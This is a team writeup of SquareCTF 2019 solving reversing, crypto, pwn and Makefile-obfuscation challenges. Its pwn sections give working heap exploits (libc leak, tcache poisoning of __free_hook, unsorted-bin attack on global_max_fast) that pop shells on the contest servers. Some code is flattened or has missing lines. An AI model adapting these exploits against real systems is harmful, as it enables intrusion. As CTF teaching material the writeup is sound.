# SquareCTF 2019 Writeup

SquareCTF had been held from October 11th to 17th (in JST) and I played it in zer0pts. We got 6450 points and kept 7th place.

There are many good challenges and I enjoyed them! Thank you for hosting the CTF :)

Members' writeup:

Tasks and solvers for some challenges I solved are availble here.

# [Reversing 700pts] Aesni

We're given a simple 32-bit ELF.

As you can understand, it XORs some data and jump there, which is just a packer. The packed machine code also unpacks another piece of code and so on. The third unpacked code has a compare routine.

It just load bytes from 0x80480EF and xores it with 0x55 and compares them with our 13 bytes input.

pwndbg> x/1s 0x80480ef
0x80480ef:      "\001=\034&x<\006x3\034;\020Uc7cfcde9b27cb5904a273dbe81679dde\026JV\\]k\200\002S\352\023\325^\017\274\020n\223\300\363@\n]\207_Z\330a\353\206\003\016>\243M|P\a\222\225\260d38;*e\033u _5?8gldech4>\fP,*\023d0d8b3b?d4d\202nLpP\006\271TRSQʅ\022\a\221\211\367\211\r\241\201\004\b\017\020\005\241\201\004\bf\017\070\334\301\017\020\026f\017\357\320\017\021\026\203\306\020\340\337\377\347\001"

Let's decode it.

from ptrlib import xor

key = b'\x55'
encoded = b"\001=\034&x<\006x3\034;\020Uc7cfcde9b27cb5904a273dbe81679dde\026JV\\]k\200\002S\352\023\325^\017\274\020n\223\300\363@\n]\207_Z\330a\353\206\003\016>\243M|P\a\222\225\260d38;*e\033u _5?8gldech4>\fP,*\023d0d8b3b?d4d\202nLpP\006\271TRSQ"[:13]

print(xor(encoded, key))

$python solve.py b'ThIs-iS-fInE\x00' Giving it as an argument will output the flag. $ ./aesni ThIs-iS-fInE
flag-cdce7e89a7607239

# [Crypto 150pts] Decode me

We are given a pyc file. theoremoon decompiled it.

# uncompyle6 version 3.3.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (default, Oct  7 2019, 17:36:04)
# [GCC 8.3.0]
# Embedded file name: ./encoder.py
# Compiled at: 2019-10-10 14:14:05
import base64, string, sys
from random import shuffle

def encode(f, inp):
s = string.printable
init = lambda : (list(s), [])
bag, buf = init()
for x in inp:
if x not in s:
continue
while True:
r = bag[0]
bag.remove(r)
diff = (ord(x) - ord(r) + len(s)) % len(s)
print(bag)
if diff == 0 or len(bag) == 0:
shuffle(buf)
f.write(('').join(buf))
f.write('\x00')
bag, buf = init()
shuffle(bag)
else:
break

buf.extend(r * (diff - 1))
f.write(r)

shuffle(buf)
f.write(('').join(buf))

if __name__ == '__main__':
with open(sys.argv[1], 'rb') as (r):
w = open(sys.argv[1] + '.enc', 'wb')
encode(w, b64)
# okay decompiling encoder.pyc


And I wrote a decoder.

import string
import base64

with open("decodeme.png.enc", "r") as f:

ofs = -1
pre = 0
output = ''
while b'\x00' in buf[ofs+1:]:
ofs = buf.index(b'\x00', ofs + 1)
local = buf[pre:ofs]
s = local[:len(string.printable)]
past = []
#print(repr(buf[pre:ofs + 1]))
for r in s:
diff = local.count(r)
if diff == 0: break
if r in past: break
past.append(r)
r = ord(r)
if r + diff <= ord('z'):
if r + diff < 0x20:
x = r + diff + len(string.printable)
else:
x = r + diff
else:
x = r + diff - len(string.printable)
output += chr(x)
pre = ofs + 1

local = buf[ofs + 1:]
s = local[:len(string.printable)]
past = []
for r in s:
diff = local.count(r)
if diff == 0: break
if r in past: break
past.append(r)
r = ord(r)
if r + diff <= ord('z'):
if r + diff < 0x20:
x = r + diff + len(string.printable)
else:
x = r + diff
else:
x = r + diff - len(string.printable)
output += chr(x)

print(output)
with open("output.png", "w") as f:
f.write(base64.b64decode(output))


# [Pwn 1000pts] tcash

We're given a 64-bit ELF.

$checksec -f tcash RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 83 Symbols Yes 0 4 tcash It's a normal heap challenge. We can create at most 10 notes, write, read, and free. At first glance, it seems secure but a vulnerability lies here:  b0a: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] b0d: 8d 48 ff lea ecx,[rax-0x1] b10: 8b 45 ec mov eax,DWORD PTR [rbp-0x14] b13: 48 98 cdqe b15: 48 c1 e0 04 shl rax,0x4 b19: 48 89 c2 mov rdx,rax b1c: 48 8d 05 1d 15 20 00 lea rax,[rip+0x20151d] # 202040 <allocs> b23: 89 0c 02 mov DWORD PTR [rdx+rax*1],ecx  It stores the size we allocated with decremented. So, if we set the size to zero, it stores 0xffffffff, which causes heap overflow in write_chunk. We can only call malloc(0x6f8) but it has a secret function in which it calls malloc(0x308) 2 times and reads data. The first thing we do is libc leak. It can be done by printing a freed chunk which was linked to main_arena. The second thing is heap overflow. We overwrite the size header of the adjacent chunk to 0x311 and free it, which will be linked into tcache. Then we overwrite the fd of the chunk and call the secret function. The second allocated region will be the fd we write. from ptrlib import * def malloc(index, size): sock.sendlineafter("> ", "1") sock.sendlineafter("?\n", str(index)) sock.sendlineafter("size: \n", str(size)) return def write(index, data): sock.sendlineafter("> ", "2") sock.sendlineafter("?\n", str(index)) sock.sendafter("data: \n", data) return def read(index): sock.sendlineafter("> ", "3") sock.sendlineafter("?\n", str(index)) r = sock.recvuntil("1) ") return r[:-3] def free(index): sock.sendlineafter("> ", "4") sock.sendlineafter("?\n", str(index)) return def secret(index, data1, data2): sock.sendlineafter("> ", "1337") sock.sendlineafter("?\n", str(index)) sock.sendafter("data 1: \n", data1) sock.sendafter("data 2: \n", data2) return libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./tcash") sock = Socket("tcash-a57a558adff75b59.squarectf.com", 7852) libc_main_arena = 0x3ebc40 # libc leak malloc(0, 0x6f8) malloc(1, 0x6f8) free(0) malloc(0, 0x6f8) libc_base = u64(read(0)[:8]) - libc_main_arena - 96 logger.info("libc base = " + hex(libc_base)) # heap overflow free(0) malloc(0, 0) payload = b'A' * 0x6f8 + p64(0x311) + b"\n" write(0, payload) free(1) payload = b'A' * 0x6f8 + p64(0x311) + p64(libc_base + libc.symbol("__free_hook")) + b"\n" write(0, payload) # overwrite __free_hook secret(0, "dummy", p64(libc_base + libc.symbol("system"))) # get the shell!! malloc(9, 0x8) write(9, "/bin/sh\n") free(9) sock.interactive()  Good. $ python solve.py
[+] __init__: Successfully connected to tcash-a57a558adff75b59.squarectf.com:7852
[+] <module>: libc base = 0x7f204dea3000
[ptrlib]$cat /home/tcash/flag.txt [ptrlib]$ flag-53AE19D1869BF54B5DDEF813

# [Pwn 2000pts] Worldwide Highest Velocity

The binary is a 64-bit ELF and is similar to that of tcash. It has same functions but for the secret function. So, we don't have tcache size allocation and only have malloc(0x608) and heap overflow. Leaking the libc base is easy so let's think about how to get AAW. Since we can't exploit the binary without tcache or fastbin, I overwrote global_max_fast by unsorted bin attack. Now we have fastbin control for size 0x701. In order to do fastbin attack, we need an apropriate chunk whose size is between 0x700 to 0x70f near __malloc_hook or __free_hook. Fortunately we have 0x700 in malloc parameter because tcache is enable. If tcache is enable, mp_ has max count of tcache, which is 7 by default. mp_ is located before __malloc_hook and we can easily overwrite it.

from ptrlib import *

flag = False
def exploit(stop=False):
global flag
if flag: return
#sock = Process("./worldwide_highest_velocity")
#sock = Socket("localhost", 6129)
sock = Socket("wwhv-315c4ee98c95e6ec.squarectf.com", 6129)

def malloc(index, size):
sock.sendlineafter("> ", "1")
sock.sendlineafter("?\n", str(index))
sock.sendlineafter("size: \n", str(size))
return

def write(index, data):
sock.sendlineafter("> ", "2")
sock.sendlineafter("?\n", str(index))
sock.sendafter("data: \n", data)
return

sock.sendlineafter("> ", "3")
sock.sendlineafter("?\n", str(index))
r = sock.recvuntil("1) ")
return r[:-3]

def free(index):
sock.sendlineafter("> ", "4")
sock.sendlineafter("?\n", str(index))
return

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc_main_arena = 0x3ebc40
libc_global_max_fast = 0x3ed940
libc_mp = 0x3eb280
libc_one_gadget = [0x10a38c, 0x4f322, 0x4f2c5, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a398]

# libc leak
malloc(0, 0x6f8)
malloc(1, 0x6f8) # base
malloc(2, 0)     # base + 0x700
malloc(3, 0x6f8) # base + 0x700
free(0)
malloc(0, 0x6f8)
libc_base = u64(read(0)[:8]) - libc_main_arena - 96
logger.info("libc base = " + hex(libc_base))

# modify global_max_fast
free(0)
malloc(0, 0)
free(1)
payload  = b'A' * 0x6f8 + p64(0x701)
payload += p64(0) + p64(libc_base + libc_global_max_fast - 0x10)
malloc(1, 0x6f8)

# leverage mp_
free(1)
payload  = b'A' * 0x6f8 + p64(0x701)
payload += p64(libc_base + libc_mp + 0x57)
malloc(1, 0x6f8)
malloc(4, 0)
payload += b'\x00' * 0xc0 + p64(libc_base + libc.symbol("_IO_file_jumps"))

# get the shell!!
free(3)
malloc(3, 0x6f8)

sock.interactive()

if __name__ == '__main__':
exploit(stop=True)


Yay!

$python solve.py [+] __init__: Successfully connected to wwhv-315c4ee98c95e6ec.squarectf.com:6129 [+] exploit: libc base = 0x7f3c60cb0000 [ptrlib]$ cat /home/wwhv/flag.txt
[ptrlib]$Nice job nailing the hardest puzzle! flag-25628006A770E154355A1C86B5F1 # [Crypto 1000pts] Go cipher When I looked over this challenge, theoremoon already posted a python code to find the encryption key, which didn't work. from z3 import * from ptrlib import p64 plaintext = open("story4.txt", "rb").read() encrypted = bytes.fromhex(open("story4.txt.enc").read()) keysum, ciphertext = encrypted[:16], encrypted[16:] key1, key2, key3 = BitVec("Key1", 64), BitVec("Key2", 64), BitVec("Key3", 64) solver = Solver() for i in range(len(plaintext)): solver.add( ciphertext[i] == ((plaintext[i] - (key1 & 0xff)) & 0xff) ^ (key2 & 0xff) ^ (key3 & 0xff) ) key1 = RotateRight(key1, 1) key2 = RotateLeft(key2, 1) key3 = RotateLeft(key3, 1) r = solver.check() if r == sat: m = solver.model() print(m) for d in m.decls(): if d.name() == 'Key1': key1 = p64(m[d].as_long()) elif d.name() == 'Key2': key2 = p64(m[d].as_long()) elif d.name() == 'Key3': key3 = p64(m[d].as_long()) with open("key", "wb") as f: f.write(key1 + key2 + key3)  I fixed some constraints and it worked. Since the decryption function is implemented in the given code, we just need to pass the key. As it checks the md5sum of the key, I modified the code as shown below.  if (!bytes.Equal(r, ciphertext_bytes[0:len(r)])) { //log.Panic("invalid key") }  That's it. # [Misc 700pts] Sudo make me a flag We're given an obfuscated Makefile. I re-wrote it in Python and optimized not to use recursion. There are several solutions for this but the third one worked. I don't like this sort of challenge :-( import re import hashlib from ptrlib import * #b=$(if $(subst y,,$(1)),$(call b,$(patsubst x%,%,$(1)),$(2)y),$(if$(subst x,,$(1)),$(call b,$(patsubst %y,%,$(1)),x$(2)),$(call w,$(2)))) """ def b(v1, v2): if 'x' in v1: return b(re.sub(r'\Ax(.*)\Z', r'\1', v1), v2+'y') elif 'y' in v1: return b(re.sub(r'\A(.*)y\Z', r'\1', v1), 'x'+v2) else: return w(v2) """ def b(v1, v2): return 'x' * (v1.count('x') + v2.count('y')) + 'y' * (v1.count('y') + v2.count('x')) #c=$(call p,$(l),$(q))
def c():
return p(l(), q())

#d=$(call r,$(l))
def d():
return r(l())

#e=$(if$(subst y,,$(1)),$(words $(subst x,x ,$(1))),$(if$(subst x,,$(1)),-$(words $(subst y,y ,$(1))),0))
def e(v1):
if 'x' in v1:
if 'y' in v1:
return v1.count('x') + 1
else:
return v1.count('x')
elif 'y' in v1:
if 'x' in v1:
return -(v1.count('x') + 1)
else:
return -v1.count('x')
else:
return 0

#g=$(call j,$(call j,xxxxxxxxxxxxxxx))
def g():
return j(j('xxxxxxxxxxxxxxx'))

#h=$(call k,$(g),$(z)) def h(): return k(g(), z()) #i=x$(1)
def i(v1):
return 'x' + v1

#j=$(subst x,xxxxxxx,$(1))
def j(v1):
return v1.replace('x', 'xxxxxxx')

#a = $(call k,$(call m,$(1)),$(h))
def a(v1):
return k(m(v1), h())

#l = $(call n,$(firstword $(subst -, ,$@)))
def l():
return n(ARG.split('-')[0])

#o = $(if$(and $(findstring x,$(1)),$(findstring y,$(1))),$(call o,$(patsubst x%y,%,$(1))),$(1))
"""
def o(v1):
if 'x' in v1 and 'y' in v1:
return o(v1[1:-1])
else:
return v1
"""
def o(v1):
if v1.count('x') == v1.count('y'):
return ''
elif v1.count('x') > v1.count('y'):
return 'x' * (v1.count('x') - v1.count('y'))
else:
return 'y' * (v1.count('y') - v1.count('x'))
#k = $(if$(subst y,,$(1)),$(call k,$(patsubst x%,%,$(1)),x$(2)),$(if $(subst x,,$(1)),$(call k,$(patsubst %y,%,$(1)),$(2)y),$(2))) """ def k(v1, v2): if 'x' in v1: return k(re.sub(r'\Ax(.*)\Z', r'\1', v1), 'x'+v2) elif 'y' in v1: return k(re.sub(r'\A(.*)y\Z', r'\1', v1), v2+'y') else: return v2 """ def k(v1, v2): return 'x' * (v1.count('x') + v2.count('x')) + 'y' * (v1.count('y') + v2.count('y')) #m=$(call p,$(1),$(1))
def m(v1):
return p(v1, v1)

#n=$(patsubst %,%,$(subst x ,x, $(filter x,$(subst x,x ,$(1)))))$(patsubst %,%,$(subst y ,y,$(filter y,$(subst y,y ,$(1)))))
#n=$(subst x ,x,$(filter x,$(subst x,x ,$(1)))))$(patsubst %,%,$(subst y ,y, $(filter y,$(subst y,y ,$(1)))) def n(v1): # xyxxyy --> x yx x yy | # xyxxyy --> xy xxy y +--> xxy return ''.join(list(filter(lambda x: x == 'x', v1.replace('x', 'x ').split()))) +\ ''.join(list(filter(lambda y: y == 'y', v1.replace('y', 'y ').split()))) #p=$(if $(subst y,,$(1)),$(call k,$(2),$(call p,$(call o,$(call u,$(1))),$(2))),$(if $(subst x,,$(1)),$(call b,$(2),$(call p,$(call o,$(call i,$(1))),$(2))),)) """ def p(v1, v2): if 'x' in v1: return k(v2, p(o(u(v1)), v2)) elif 'y' in v1: return b(v2, p(o(i(v1)), v2)) else: return '' """ def p(v1, v2): xc = v1.count('x') yc = v1.count('y') if xc > yc: return ''.join(sorted(v2 * (xc - yc))) elif xc < yc: base = 'x' + 'x' * (len(v1) // 2) + 'y' * ((len(v1) - 1) // 2) t = '' for c in v2: if c == 'x': t += base else: t += base.replace('x', 'w').replace('y', 'x').replace('w', 'y') return ''.join(sorted(t)) else: return v1 #""" #q=$(call n,$(lastword$(subst -, , $@))) def q(): return n(ARG.split('-')[-1]) #r=$(call b,$(call a,$(1)),$(call y,$(1)))
def r(v1):
return b(a(v1), y(v1))

#s=@echo flag-echo $(call v,$(c)) $(call o,$(c)) | md5sum
def s():
print("flag-{}".format(hashlib.md5(v(c()) + " " + o(c) + "\n").hexdigest()))

#t=$(call k,$(z),xxxxxxxxxx)
def t():
return k(z(), 'xxxxxxxxxx')

#u=$(1)y def u(v1): return v1 + 'y' #v=$(call e,$(call o,$(1)))
def v(v1):
return e(o(v1))

#w=$(if$(subst z,,$(subst y,,$(1))),
#    $(call w,$(patsubst x%,%z,$(1))), #$(if $(subst z,,$(subst x,,$(1))), #$(subst z,y,$(subst y,x,$(1))),
#    $(subst z,y,$(1))))
def w(v1):
if 'x' in v1:
return w(re.sub(r'\Ax(.*)\Z', r'\1', v1) + 'z')
elif 'y' in v1:
return v1.replace('y', 'x').replace('z', 'y')
else:
return v1.replace('z', 'y')

#x=$(call r,$(q))
def x():
return r(q())

#y=$(call p,$(1),$(t)) def y(v1): return p(v1, t()) #z=$(call b,$(call j,$(call j,x)),xx)
def z():
return b(j(j('x')), 'xx')

#flag = $(if$(or $(call o,$(d)),$(call o,$(x))),@echo nope1,$(if$(call o,$(call b,$(l),$(q))),$(s), @echo nope))
def flag():
if o(d()) or o(x()):
print("Nope 1")
else:
if o(b(l, q)):
s()
else:
print("Nope 2")

# Solution 1
_l = "x" * 23
_q = "x" + "y" * 336
# Solution 2
_l = "x" * 23
_q = "x" + "y" * 727
# Solution 3 (worked)
_l = "x" * 23
_q = "y" + "x"*10 + "y"*2 + "x" * 28

ARG = _l + "-" + _q
dd = d()
xx = x()
print("o(d()) = '{}'".format(o(d())))
print("o(x()) = '{}'".format(o(x())))
print("o(b(l,q)) = '{}'".format(o(b(_l, _q))))

c = p(_l, _q)
output = "{} {}\n".format(v(c), o(c))
output = "flag-{}".format(hashlib.md5(str2bytes(output)).hexdigest())
print(output)

\$ python overview.py
o(d()) = ''
o(x()) = ''
o(b(l,q)) = 'yyyyyyyyyyyy'
flag-0f8e43d770b89dd55dd58a50117ea625